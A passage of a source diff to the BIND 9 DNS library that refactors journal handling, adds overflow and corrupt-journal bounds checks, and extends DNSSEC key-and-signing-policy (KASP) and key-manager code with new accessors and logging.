 	if (!JOURNAL_EMPTY(&j->header)) {
 		while (!DNS_SERIAL_GT(j->x.pos[1].serial,
-				      j->header.begin.serial)) {
+				      j->header.begin.serial))
+		{
 			CHECK(journal_next(j, &j->header.begin));
 		}
 		index_invalidate(j, j->x.pos[1].serial);
@@ -1360,7 +1369,7 @@ dns_journal_commit(dns_journal_t *j) {
 	CHECK(journal_fsync(j));
 
 	if (j->state == JOURNAL_STATE_TRANSACTION) {
-		isc_offset_t offset;
+		off_t offset;
 		offset = (j->x.pos[1].offset - j->x.pos[0].offset) -
 			 (j->header_ver1 ? sizeof(journal_rawxhdr_ver1_t)
 					 : sizeof(journal_rawxhdr_t));
@@ -1436,14 +1445,13 @@ dns_journal_destroy(dns_journal_t **journalp) {
 
 	j->it.result = ISC_R_FAILURE;
 	dns_name_invalidate(&j->it.name);
-	dns_decompress_invalidate(&j->it.dctx);
 	if (j->rawindex != NULL) {
-		isc_mem_put(j->mctx, j->rawindex,
-			    j->header.index_size * sizeof(journal_rawpos_t));
+		isc_mem_cput(j->mctx, j->rawindex, j->header.index_size,
+			     sizeof(journal_rawpos_t));
 	}
 	if (j->index != NULL) {
-		isc_mem_put(j->mctx, j->index,
-			    j->header.index_size * sizeof(journal_pos_t));
+		isc_mem_cput(j->mctx, j->index, j->header.index_size,
+			     sizeof(journal_pos_t));
 	}
 	if (j->it.target.base != NULL) {
 		isc_mem_put(j->mctx, j->it.target.base, j->it.target.length);
@@ -1836,7 +1844,7 @@ read_one_rr(dns_journal_t *j);
  */
 
 static isc_result_t
-size_buffer(isc_mem_t *mctx, isc_buffer_t *b, unsigned size) {
+size_buffer(isc_mem_t *mctx, isc_buffer_t *b, unsigned int size) {
 	if (b->length < size) {
 		void *mem = isc_mem_get(mctx, size);
 		if (mem == NULL) {
@@ -1888,7 +1896,8 @@ dns_journal_iter_init(dns_journal_t *j, uint32_t begin_serial,
 			 * Check that xhdr is consistent.
 			 */
 			if (xhdr.serial0 != pos.serial ||
-			    isc_serial_le(xhdr.serial1, xhdr.serial0)) {
+			    isc_serial_le(xhdr.serial1, xhdr.serial0))
+			{
 				CHECK(ISC_R_UNEXPECTED);
 			}
 
@@ -1908,7 +1917,8 @@ dns_journal_iter_init(dns_journal_t *j, uint32_t begin_serial,
 		 * (We don't need to worry about the transaction header
 		 * because that was already excluded from xdr.size.)
 		 */
-		*xfrsizep = size - (count * sizeof(journal_rawrrhdr_t));
+		*xfrsizep = size - (ISC_CHECKED_MUL(
+					   count, sizeof(journal_rawrrhdr_t)));
 	}
 
 	result = ISC_R_SUCCESS;
@@ -2027,7 +2037,7 @@ read_one_rr(dns_journal_t *j) {
 	 */
 	isc_buffer_setactive(&j->it.source,
 			     j->it.source.used - j->it.source.current);
-	CHECK(dns_name_fromwire(&j->it.name, &j->it.source, &j->it.dctx, 0,
+	CHECK(dns_name_fromwire(&j->it.name, &j->it.source, j->it.dctx,
 				&j->it.target));
 
 	/*
@@ -2042,6 +2052,14 @@ read_one_rr(dns_journal_t *j) {
 	ttl = isc_buffer_getuint32(&j->it.source);
 	rdlen = isc_buffer_getuint16(&j->it.source);
 
+	if (rdlen > DNS_RDATA_MAXLENGTH) {
+		isc_log_write(JOURNAL_COMMON_LOGARGS, ISC_LOG_ERROR,
+			      "%s: journal corrupt: impossible rdlen "
+			      "(%u bytes)",
+			      j->filename, rdlen);
+		FAIL(ISC_R_FAILURE);
+	}
+
 	/*
 	 * Parse the rdata.
 	 */
@@ -2051,7 +2069,7 @@ read_one_rr(dns_journal_t *j) {
 	isc_buffer_setactive(&j->it.source, rdlen);
 	dns_rdata_reset(&j->it.rdata);
 	CHECK(dns_rdata_fromwire(&j->it.rdata, rdclass, rdtype, &j->it.source,
-				 &j->it.dctx, 0, &j->it.target));
+				 j->it.dctx, &j->it.target));
 	j->it.ttl = ttl;
 
 	j->it.xpos += sizeof(journal_rawrrhdr_t) + rrhdr.size;
@@ -2110,7 +2128,7 @@ get_name_diff(dns_db_t *db, dns_dbversion_t *ver, isc_stdtime_t now,
 		return (result);
 	}
 
-	result = dns_db_allrdatasets(db, node, ver, now, &rdsiter);
+	result = dns_db_allrdatasets(db, node, ver, 0, now, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_node;
 	}
@@ -2185,9 +2203,12 @@ dns_diff_subtract(dns_diff_t diff[2], dns_diff_t *r) {
 	dns_difftuple_t *p[2];
 	int i, t;
 	bool append;
+	dns_difftuplelist_t add, del;
 
 	CHECK(dns_diff_sort(&diff[0], rdata_order));
 	CHECK(dns_diff_sort(&diff[1], rdata_order));
+	ISC_LIST_INIT(add);
+	ISC_LIST_INIT(del);
 
 	for (;;) {
 		p[0] = ISC_LIST_HEAD(diff[0].tuples);
@@ -2198,23 +2219,21 @@ dns_diff_subtract(dns_diff_t diff[2], dns_diff_t *r) {
 
 		for (i = 0; i < 2; i++) {
 			if (p[!i] == NULL) {
-				{
-					ISC_LIST_UNLINK(diff[i].tuples, p[i],
-							link);
-					ISC_LIST_APPEND(r->tuples, p[i], link);
-					goto next;
-				}
+				dns_difftuplelist_t *l = (i == 0) ? &add : &del;
+				ISC_LIST_UNLINK(diff[i].tuples, p[i], link);
+				ISC_LIST_APPEND(*l, p[i], link);
+				goto next;
 			}
 		}
 		t = rdata_order(&p[0], &p[1]);
 		if (t < 0) {
 			ISC_LIST_UNLINK(diff[0].tuples, p[0], link);
-			ISC_LIST_APPEND(r->tuples, p[0], link);
+			ISC_LIST_APPEND(add, p[0], link);
 			goto next;
 		}
 		if (t > 0) {
 			ISC_LIST_UNLINK(diff[1].tuples, p[1], link);
-			ISC_LIST_APPEND(r->tuples, p[1], link);
+			ISC_LIST_APPEND(del, p[1], link);
 			goto next;
 		}
 		INSIST(t == 0);
@@ -2226,13 +2245,16 @@ dns_diff_subtract(dns_diff_t diff[2], dns_diff_t *r) {
 		for (i = 0; i < 2; i++) {
 			ISC_LIST_UNLINK(diff[i].tuples, p[i], link);
 			if (append) {
-				ISC_LIST_APPEND(r->tuples, p[i], link);
+				dns_difftuplelist_t *l = (i == 0) ? &add : &del;
+				ISC_LIST_APPEND(*l, p[i], link);
 			} else {
 				dns_difftuple_free(&p[i]);
 			}
 		}
 	next:;
 	}
+	ISC_LIST_APPENDLIST(r->tuples, del, link);
+	ISC_LIST_APPENDLIST(r->tuples, add, link);
 	result = ISC_R_SUCCESS;
 failure:
 	return (result);
@@ -2513,7 +2535,8 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 	 * Cope with very small target sizes.
 	 */
 	indexend = sizeof(journal_rawheader_t) +
-		   j1->header.index_size * sizeof(journal_rawpos_t);
+		   ISC_CHECKED_MUL(j1->header.index_size,
+				   sizeof(journal_rawpos_t));
 	if (target_size < DNS_JOURNAL_SIZE_MIN) {
 		target_size = DNS_JOURNAL_SIZE_MIN;
 	}
@@ -2602,7 +2625,7 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 		 */
 		while (rewrite && len > 0) {
 			journal_xhdr_t xhdr;
-			isc_offset_t offset = j1->offset;
+			off_t offset = j1->offset;
 			uint32_t count;
 
 			result = journal_read_xhdr(j1, &xhdr);
@@ -2612,6 +2635,14 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 			CHECK(result);
 
 			size = xhdr.size;
+			if (size > len) {
+				isc_log_write(JOURNAL_COMMON_LOGARGS,
+					      ISC_LOG_ERROR,
+					      "%s: journal file corrupt, "
+					      "transaction too large",
+					      j1->filename);
+				CHECK(ISC_R_FAILURE);
+			}
 			buf = isc_mem_get(mctx, size);
 			result = journal_read(j1, buf, size);
 
@@ -2620,7 +2651,8 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 			 * xhdr format may be wrong.
 			 */
 			if (rewrite && (result != ISC_R_SUCCESS ||
-					!check_delta(buf, size))) {
+					!check_delta(buf, size)))
+			{
 				if (j1->xhdr_version == XHDR_VERSION2) {
 					/* XHDR_VERSION2 -> XHDR_VERSION1 */
 					j1->xhdr_version = XHDR_VERSION1;
@@ -2636,6 +2668,15 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 				/* Check again */
 				isc_mem_put(mctx, buf, size);
 				size = xhdr.size;
+				if (size > len) {
+					isc_log_write(
+						JOURNAL_COMMON_LOGARGS,
+						ISC_LOG_ERROR,
+						"%s: journal file corrupt, "
+						"transaction too large",
+						j1->filename);
+					CHECK(ISC_R_FAILURE);
+				}
 				buf = isc_mem_get(mctx, size);
 				CHECK(journal_read(j1, buf, size));
 
@@ -2665,7 +2706,8 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 			 * Check that xhdr is consistent.
 			 */
 			if (xhdr.serial0 != serial ||
-			    isc_serial_le(xhdr.serial1, xhdr.serial0)) {
+			    isc_serial_le(xhdr.serial1, xhdr.serial0))
+			{
 				CHECK(ISC_R_UNEXPECTED);
 			}
 
@@ -2754,7 +2796,8 @@ dns_journal_compact(isc_mem_t *mctx, char *filename, uint32_t serial,
 		if (errno == EEXIST && !is_backup) {
 			result = isc_file_remove(backup);
 			if (result != ISC_R_SUCCESS &&
-			    result != ISC_R_FILENOTFOUND) {
+			    result != ISC_R_FILENOTFOUND)
+			{
 				goto failure;
 			}
 			if (rename(filename, backup) == -1) {
@@ -2796,7 +2839,8 @@ index_to_disk(dns_journal_t *j) {
 		unsigned char *p;
 		unsigned int rawbytes;
 
-		rawbytes = j->header.index_size * sizeof(journal_rawpos_t);
+		rawbytes = ISC_CHECKED_MUL(j->header.index_size,
+					   sizeof(journal_rawpos_t));
 
 		p = j->rawindex;
 		for (i = 0; i < j->header.index_size; i++) {
diff --git a/lib/dns/kasp.c b/lib/dns/kasp.c
index 177b97f289..639811bf4e 100644
--- a/lib/dns/kasp.c
+++ b/lib/dns/kasp.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -25,47 +27,34 @@
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 
+#include <dst/dst.h>
+
+/* Default TTLsig (maximum zone ttl) */
+#define DEFAULT_TTLSIG 604800 /* one week */
+
 isc_result_t
 dns_kasp_create(isc_mem_t *mctx, const char *name, dns_kasp_t **kaspp) {
 	dns_kasp_t *kasp;
+	dns_kasp_t k = {
+		.magic = DNS_KASP_MAGIC,
+		.digests = ISC_LIST_INITIALIZER,
+		.keys = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+	};
 
 	REQUIRE(name != NULL);
 	REQUIRE(kaspp != NULL && *kaspp == NULL);
 
 	kasp = isc_mem_get(mctx, sizeof(*kasp));
+	*kasp = k;
+
 	kasp->mctx = NULL;
 	isc_mem_attach(mctx, &kasp->mctx);
-
 	kasp->name = isc_mem_strdup(mctx, name);
 	isc_mutex_init(&kasp->lock);
-	kasp->frozen = false;
-
 	isc_refcount_init(&kasp->references, 1);
 
-	ISC_LINK_INIT(kasp, link);
-
-	kasp->signatures_refresh = DNS_KASP_SIG_REFRESH;
-	kasp->signatures_validity = DNS_KASP_SIG_VALIDITY;
-	kasp->signatures_validity_dnskey = DNS_KASP_SIG_VALIDITY_DNSKEY;
-
-	ISC_LIST_INIT(kasp->keys);
-
-	kasp->dnskey_ttl = DNS_KASP_KEY_TTL;
-	kasp->publish_safety = DNS_KASP_PUBLISH_SAFETY;
-	kasp->retire_safety = DNS_KASP_RETIRE_SAFETY;
-	kasp->purge_keys = DNS_KASP_PURGE_KEYS;
-
-	kasp->zone_max_ttl = DNS_KASP_ZONE_MAXTTL;
-	kasp->zone_propagation_delay = DNS_KASP_ZONE_PROPDELAY;
-
-	kasp->parent_ds_ttl = DNS_KASP_DS_TTL;
-	kasp->parent_propagation_delay = DNS_KASP_PARENT_PROPDELAY;
-
-	kasp->nsec3 = false;
-
-	kasp->magic = DNS_KASP_MAGIC;
 	*kaspp = kasp;
-
 	return (ISC_R_SUCCESS);
 }
 
@@ -78,10 +67,10 @@ dns_kasp_attach(dns_kasp_t *source, dns_kasp_t **targetp) {
 	*targetp = source;
 }
 
-static inline void
+static void
 destroy(dns_kasp_t *kasp) {
-	dns_kasp_key_t *key;
-	dns_kasp_key_t *key_next;
+	dns_kasp_key_t *key, *key_next;
+	dns_kasp_digest_t *digest, *digest_next;
 
 	REQUIRE(!ISC_LINK_LINKED(kasp, link));
 
@@ -92,6 +81,15 @@ destroy(dns_kasp_t *kasp) {
 	}
 	INSIST(ISC_LIST_EMPTY(kasp->keys));
 
+	for (digest = ISC_LIST_HEAD(kasp->digests); digest != NULL;
+	     digest = digest_next)
+	{
+		digest_next = ISC_LIST_NEXT(digest, link);
+		ISC_LIST_UNLINK(kasp->digests, digest, link);
+		isc_mem_put(kasp->mctx, digest, sizeof(*digest));
+	}
+	INSIST(ISC_LIST_EMPTY(kasp->digests));
+
 	isc_mutex_destroy(&kasp->lock);
 	isc_mem_free(kasp->mctx, kasp->name);
 	isc_mem_putanddetach(&kasp->mctx, kasp, sizeof(*kasp));
@@ -252,11 +250,30 @@ dns_kasp_setretiresafety(dns_kasp_t *kasp, uint32_t value) {
 	kasp->retire_safety = value;
 }
 
+bool
+dns_kasp_inlinesigning(dns_kasp_t *kasp) {
+	REQUIRE(DNS_KASP_VALID(kasp));
+	REQUIRE(kasp->frozen);
+
+	return (kasp->inline_signing);
+}
+
+void
+dns_kasp_setinlinesigning(dns_kasp_t *kasp, bool value) {
+	REQUIRE(DNS_KASP_VALID(kasp));
+	REQUIRE(!kasp->frozen);
+
+	kasp->inline_signing = value;
+}
+
 dns_ttl_t
-dns_kasp_zonemaxttl(dns_kasp_t *kasp) {
+dns_kasp_zonemaxttl(dns_kasp_t *kasp, bool fallback) {
 	REQUIRE(DNS_KASP_VALID(kasp));
 	REQUIRE(kasp->frozen);
 
+	if (kasp->zone_max_ttl == 0 && fallback) {
+		return (DEFAULT_TTLSIG);
+	}
 	return (kasp->zone_max_ttl);
 }
 
@@ -523,3 +540,54 @@ dns_kasp_setnsec3param(dns_kasp_t *kasp, uint8_t iter, bool optout,
 	kasp->nsec3param.optout = optout;
 	kasp->nsec3param.saltlen = saltlen;
 }
+
+bool
+dns_kasp_cdnskey(dns_kasp_t *kasp) {
+	REQUIRE(kasp != NULL);
+	REQUIRE(kasp->frozen);
+
+	return kasp->cdnskey;
+}
+
+void
+dns_kasp_setcdnskey(dns_kasp_t *kasp, bool cdnskey) {
+	REQUIRE(kasp != NULL);
+	REQUIRE(!kasp->frozen);
+
+	kasp->cdnskey = cdnskey;
+}
+
+dns_kasp_digestlist_t
+dns_kasp_digests(dns_kasp_t *kasp) {
+	REQUIRE(DNS_KASP_VALID(kasp));
+	REQUIRE(kasp->frozen);
+
+	return (kasp->digests);
+}
+
+void
+dns_kasp_adddigest(dns_kasp_t *kasp, dns_dsdigest_t alg) {
+	dns_kasp_digest_t *digest;
+
+	REQUIRE(DNS_KASP_VALID(kasp));
+	REQUIRE(!kasp->frozen);
+
+	/* Suppress unsupported algorithms */
+	if (!dst_ds_digest_supported(alg)) {
+		return;
+	}
+
+	/* Suppress duplicates */
+	for (dns_kasp_digest_t *d = ISC_LIST_HEAD(kasp->digests); d != NULL;
+	     d = ISC_LIST_NEXT(d, link))
+	{
+		if (d->digest == alg) {
+			return;
+		}
+	}
+
+	digest = isc_mem_get(kasp->mctx, sizeof(*digest));
+	digest->digest = alg;
+	ISC_LINK_INIT(digest, link);
+	ISC_LIST_APPEND(kasp->digests, digest, link);
+}
diff --git a/lib/dns/key.c b/lib/dns/key.c
index 1067e8f76d..2449e8aac1 100644
--- a/lib/dns/key.c
+++ b/lib/dns/key.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -132,7 +134,8 @@ dst_key_iszonekey(const dst_key_t *key) {
 		return (false);
 	}
 	if (key->key_proto != DNS_KEYPROTO_DNSSEC &&
-	    key->key_proto != DNS_KEYPROTO_ANY) {
+	    key->key_proto != DNS_KEYPROTO_ANY)
+	{
 		return (false);
 	}
 	return (true);
@@ -149,12 +152,71 @@ dst_key_isnullkey(const dst_key_t *key) {
 		return (false);
 	}
 	if (key->key_proto != DNS_KEYPROTO_DNSSEC &&
-	    key->key_proto != DNS_KEYPROTO_ANY) {
+	    key->key_proto != DNS_KEYPROTO_ANY)
+	{
 		return (false);
 	}
 	return (true);
 }
 
+#define REVOKE(x) ((dst_key_flags(x) & DNS_KEYFLAG_REVOKE) != 0)
+#define KSK(x)	  ((dst_key_flags(x) & DNS_KEYFLAG_KSK) != 0)
+#define ID(x)	  dst_key_id(x)
+#define ALG(x)	  dst_key_alg(x)
+
+bool
+dst_key_have_ksk_and_zsk(dst_key_t **keys, unsigned int nkeys, unsigned int i,
+			 bool check_offline, bool ksk, bool zsk, bool *have_ksk,
+			 bool *have_zsk) {
+	bool hksk = ksk;
+	bool hzsk = zsk;
+	isc_result_t result;
+
+	REQUIRE(keys != NULL);
+
+	for (unsigned int j = 0; j < nkeys && !(hksk && hzsk); j++) {
+		if (j == i || ALG(keys[i]) != ALG(keys[j])) {
+			continue;
+		}
+		/*
+		 * Don't consider inactive keys.
+		 */
+		if (dst_key_inactive(keys[j])) {
+			continue;
+		}
+		/*
+		 * Don't consider offline keys.
+		 */
+		if (check_offline && !dst_key_isprivate(keys[j])) {
+			continue;
+		}
+		if (REVOKE(keys[j])) {
+			continue;
+		}
+
+		if (!hksk) {
+			result = dst_key_getbool(keys[j], DST_BOOL_KSK, &hksk);
+			if (result != ISC_R_SUCCESS) {
+				if (KSK(keys[j])) {
+					hksk = true;
+				}
+			}
+		}
+		if (!hzsk) {
+			result = dst_key_getbool(keys[j], DST_BOOL_ZSK, &hzsk);
+			if (result != ISC_R_SUCCESS) {
+				if (!KSK(keys[j])) {
+					hzsk = dst_key_isprivate(keys[j]);
+				}
+			}
+		}
+	}
+
+	SET_IF_NOT_NULL(have_ksk, hksk);
+	SET_IF_NOT_NULL(have_zsk, hzsk);
+	return (hksk && hzsk);
+}
+
 void
 dst_key_setbits(dst_key_t *key, uint16_t bits) {
 	unsigned int maxbits;
diff --git a/lib/dns/keydata.c b/lib/dns/keydata.c
index 8de105a9a8..c8e2d80cdd 100644
--- a/lib/dns/keydata.c
+++ b/lib/dns/keydata.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/dns/keymgr.c b/lib/dns/keymgr.c
index 1d47da8c33..ea8dfb788b 100644
--- a/lib/dns/keymgr.c
+++ b/lib/dns/keymgr.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,7 +21,7 @@
 #include <isc/buffer.h>
 #include <isc/dir.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -28,10 +30,8 @@
 #include <dns/keymgr.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
-#include <dst/result.h>
 
 #define RETERR(x)                            \
 	do {                                 \
@@ -44,13 +44,28 @@
  * Set key state to `target` state and change last changed
  * to `time`, only if key state has not been set before.
  */
-#define INITIALIZE_STATE(key, state, timing, target, time)                    \
-	do {                                                                  \
-		dst_key_state_t s;                                            \
-		if (dst_key_getstate((key), (state), &s) == ISC_R_NOTFOUND) { \
-			dst_key_setstate((key), (state), (target));           \
-			dst_key_settime((key), (timing), time);               \
-		}                                                             \
+#define INITIALIZE_STATE(key, state, timing, target, time)                     \
+	do {                                                                   \
+		dst_key_state_t s;                                             \
+		char keystr[DST_KEY_FORMATSIZE];                               \
+		if (dst_key_getstate((key), (state), &s) == ISC_R_NOTFOUND) {  \
+			dst_key_setstate((key), (state), (target));            \
+			dst_key_settime((key), (timing), time);                \
+                                                                               \
+			if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(1))) {    \
+				dst_key_format((key), keystr, sizeof(keystr)); \
+				isc_log_write(                                 \
+					dns_lctx, DNS_LOGCATEGORY_DNSSEC,      \
+					DNS_LOGMODULE_DNSSEC,                  \
+					ISC_LOG_DEBUG(3),                      \
+					"keymgr: DNSKEY %s (%s) initialize "   \
+					"%s state to %s (policy %s)",          \
+					keystr, keymgr_keyrole((key)),         \
+					keystatetags[state],                   \
+					keystatestrings[target],               \
+					dns_kasp_getname(kasp));               \
+			}                                                      \
+		}                                                              \
 	} while (0)
 
 /* Shorter keywords for better readability. */
@@ -116,11 +131,11 @@ keymgr_settime_remove(dns_dnsseckey_t *key, dns_kasp_t *kasp) {
 
 	ret = dst_key_getbool(key->key, DST_BOOL_ZSK, &zsk);
 	if (ret == ISC_R_SUCCESS && zsk) {
+		dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true);
 		/* ZSK: Iret = Dsgn + Dprp + TTLsig */
-		zsk_remove = retire + dns_kasp_zonemaxttl(kasp) +
-			     dns_kasp_zonepropagationdelay(kasp) +
-			     dns_kasp_retiresafety(kasp) +
-			     dns_kasp_signdelay(kasp);
+		zsk_remove =
+			retire + ttlsig + dns_kasp_zonepropagationdelay(kasp) +
+			dns_kasp_retiresafety(kasp) + dns_kasp_signdelay(kasp);
 	}
 	ret = dst_key_getbool(key->key, DST_BOOL_KSK, &ksk);
 	if (ret == ISC_R_SUCCESS && ksk) {
@@ -130,12 +145,12 @@ keymgr_settime_remove(dns_dnsseckey_t *key, dns_kasp_t *kasp) {
 			     dns_kasp_retiresafety(kasp);
 	}
 
-	remove = ksk_remove > zsk_remove ? ksk_remove : zsk_remove;
+	remove = ISC_MAX(ksk_remove, zsk_remove);
 	dst_key_settime(key->key, DST_TIME_DELETE, remove);
 }
 
 /*
- * Set the SyncPublish time (when the DS may be submitted to the parent)
+ * Set the SyncPublish time (when the DS may be submitted to the parent).
  *
  */
 static void
@@ -163,7 +178,8 @@ keymgr_settime_syncpublish(dns_dnsseckey_t *key, dns_kasp_t *kasp, bool first) {
 	if (first) {
 		/* Also need to wait until the signatures are omnipresent. */
 		isc_stdtime_t zrrsig_present;
-		zrrsig_present = published + dns_kasp_zonemaxttl(kasp) +
+		dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true);
+		zrrsig_present = published + ttlsig +
 				 dns_kasp_zonepropagationdelay(kasp) +
 				 dns_kasp_publishsafety(kasp);
 		if (zrrsig_present > syncpublish) {
@@ -244,12 +260,14 @@ keymgr_prepublication_time(dns_dnsseckey_t *key, dns_kasp_t *kasp,
 				 * No predecessor, wait for zone to be
 				 * completely signed.
 				 */
-				syncpub2 = pub + dns_kasp_zonemaxttl(kasp) +
+				dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp,
+								       true);
+				syncpub2 = pub + ttlsig +
 					   dns_kasp_publishsafety(kasp) +
 					   dns_kasp_zonepropagationdelay(kasp);
 			}
 
-			syncpub = syncpub1 > syncpub2 ? syncpub1 : syncpub2;
+			syncpub = ISC_MAX(syncpub1, syncpub2);
 			dst_key_settime(key->key, DST_TIME_SYNCPUBLISH,
 					syncpub);
 		}
@@ -328,7 +346,8 @@ keymgr_key_retire(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now) {
 	ret = dst_key_getbool(key->key, DST_BOOL_KSK, &ksk);
 	if (ret == ISC_R_SUCCESS && ksk) {
 		if (dst_key_getstate(key->key, DST_KEY_KRRSIG, &s) !=
-		    ISC_R_SUCCESS) {
+		    ISC_R_SUCCESS)
+		{
 			dst_key_setstate(key->key, DST_KEY_KRRSIG, OMNIPRESENT);
 			dst_key_settime(key->key, DST_TIME_KRRSIG, now);
 		}
@@ -341,7 +360,8 @@ keymgr_key_retire(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now) {
 	ret = dst_key_getbool(key->key, DST_BOOL_ZSK, &zsk);
 	if (ret == ISC_R_SUCCESS && zsk) {
 		if (dst_key_getstate(key->key, DST_KEY_ZRRSIG, &s) !=
-		    ISC_R_SUCCESS) {
+		    ISC_R_SUCCESS)
+		{
 			dst_key_setstate(key->key, DST_KEY_ZRRSIG, OMNIPRESENT);
 			dst_key_settime(key->key, DST_TIME_ZRRSIG, now);
 		}
@@ -549,7 +569,8 @@ keymgr_key_match_state(dst_key_t *key, dst_key_t *subject, int type,
 			continue;
 		}
 		if (next_state != NA && i == type &&
-		    dst_key_id(key) == dst_key_id(subject)) {
+		    dst_key_id(key) == dst_key_id(subject))
+		{
 			/* Check next state rather than current state. */
 			state = next_state;
 		} else if (dst_key_getstate(key, i, &state) != ISC_R_SUCCESS) {
@@ -707,12 +728,14 @@ keymgr_key_exists_with_state(dns_dnsseckeylist_t *keyring, dns_dnsseckey_t *key,
 	     dkey = ISC_LIST_NEXT(dkey, link))
 	{
 		if (match_algorithms &&
-		    (dst_key_alg(dkey->key) != dst_key_alg(key->key))) {
+		    (dst_key_alg(dkey->key) != dst_key_alg(key->key)))
+		{
 			continue;
 		}
 
 		if (!keymgr_key_match_state(dkey->key, key->key, type,
-					    next_state, states)) {
+					    next_state, states))
+		{
 			continue;
 		}
 
@@ -733,7 +756,8 @@ keymgr_key_exists_with_state(dns_dnsseckeylist_t *keyring, dns_dnsseckey_t *key,
 			}
 
 			if (!keymgr_key_match_state(skey->key, key->key, type,
-						    next_state, states2)) {
+						    next_state, states2))
+			{
 				continue;
 			}
 
@@ -792,12 +816,14 @@ keymgr_ds_hidden_or_chained(dns_dnsseckeylist_t *keyring, dns_dnsseckey_t *key,
 	     dkey = ISC_LIST_NEXT(dkey, link))
 	{
 		if (match_algorithms &&
-		    (dst_key_alg(dkey->key) != dst_key_alg(key->key))) {
+		    (dst_key_alg(dkey->key) != dst_key_alg(key->key)))
+		{
 			continue;
 		}
 
 		if (keymgr_key_match_state(dkey->key, key->key, type,
-					   next_state, ds_hidden)) {
+					   next_state, ds_hidden))
+		{
 			/* This key has its DS hidden. */
 			continue;
 		}
@@ -859,7 +885,8 @@ keymgr_dnskey_hidden_or_chained(dns_dnsseckeylist_t *keyring,
 	     dkey = ISC_LIST_NEXT(dkey, link))
 	{
 		if (match_algorithms &&
-		    (dst_key_alg(dkey->key) != dst_key_alg(key->key))) {
+		    (dst_key_alg(dkey->key) != dst_key_alg(key->key)))
+		{
 			continue;
 		}
 
@@ -1215,6 +1242,7 @@ keymgr_transition_time(dns_dnsseckey_t *key, int type,
 		       isc_stdtime_t now, isc_stdtime_t *when) {
 	isc_result_t ret;
 	isc_stdtime_t lastchange, dstime, nexttime = now;
+	dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true);
 
 	/*
 	 * No need to wait if we move things into an uncertain state.
@@ -1287,7 +1315,7 @@ keymgr_transition_time(dns_dnsseckey_t *key, int type,
 			 *
 			 * We will also add the retire-safety interval.
 			 */
-			nexttime = lastchange + dns_kasp_zonemaxttl(kasp) +
+			nexttime = lastchange + ttlsig +
 				   dns_kasp_zonepropagationdelay(kasp) +
 				   dns_kasp_retiresafety(kasp);
 			/*
@@ -1365,8 +1393,7 @@ keymgr_transition_time(dns_dnsseckey_t *key, int type,
 		}
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 		break;
 	}
 
@@ -1445,7 +1472,8 @@ keymgr_update(dns_dnsseckeylist_t *keyring, dns_kasp_t *kasp, isc_stdtime_t now,
 
 			/* Is the transition allowed according to policy? */
 			if (!keymgr_policy_approval(keyring, dkey, i,
-						    next_state)) {
+						    next_state))
+			{
 				/* No, please respect rollover methods. */
 				isc_log_write(
 					dns_lctx, DNS_LOGCATEGORY_DNSSEC,
@@ -1511,6 +1539,7 @@ keymgr_update(dns_dnsseckeylist_t *keyring, dns_kasp_t *kasp, isc_stdtime_t now,
 			/* It is safe to make the transition. */
 			dst_key_setstate(dkey->key, i, next_state);
 			dst_key_settime(dkey->key, keystatetimes[i], now);
+			INSIST(dst_key_ismodified(dkey->key));
 			changed = true;
 		}
 	}
@@ -1531,7 +1560,8 @@ keymgr_update(dns_dnsseckeylist_t *keyring, dns_kasp_t *kasp, isc_stdtime_t now,
  *
  */
 static void
-keymgr_key_init(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now) {
+keymgr_key_init(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now,
+		bool csk) {
 	bool ksk, zsk;
 	isc_result_t ret;
 	isc_stdtime_t active = 0, pub = 0, syncpub = 0, retire = 0, remove = 0;
@@ -1547,20 +1577,20 @@ keymgr_key_init(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now) {
 	ret = dst_key_getbool(key->key, DST_BOOL_KSK, &ksk);
 	if (ret != ISC_R_SUCCESS) {
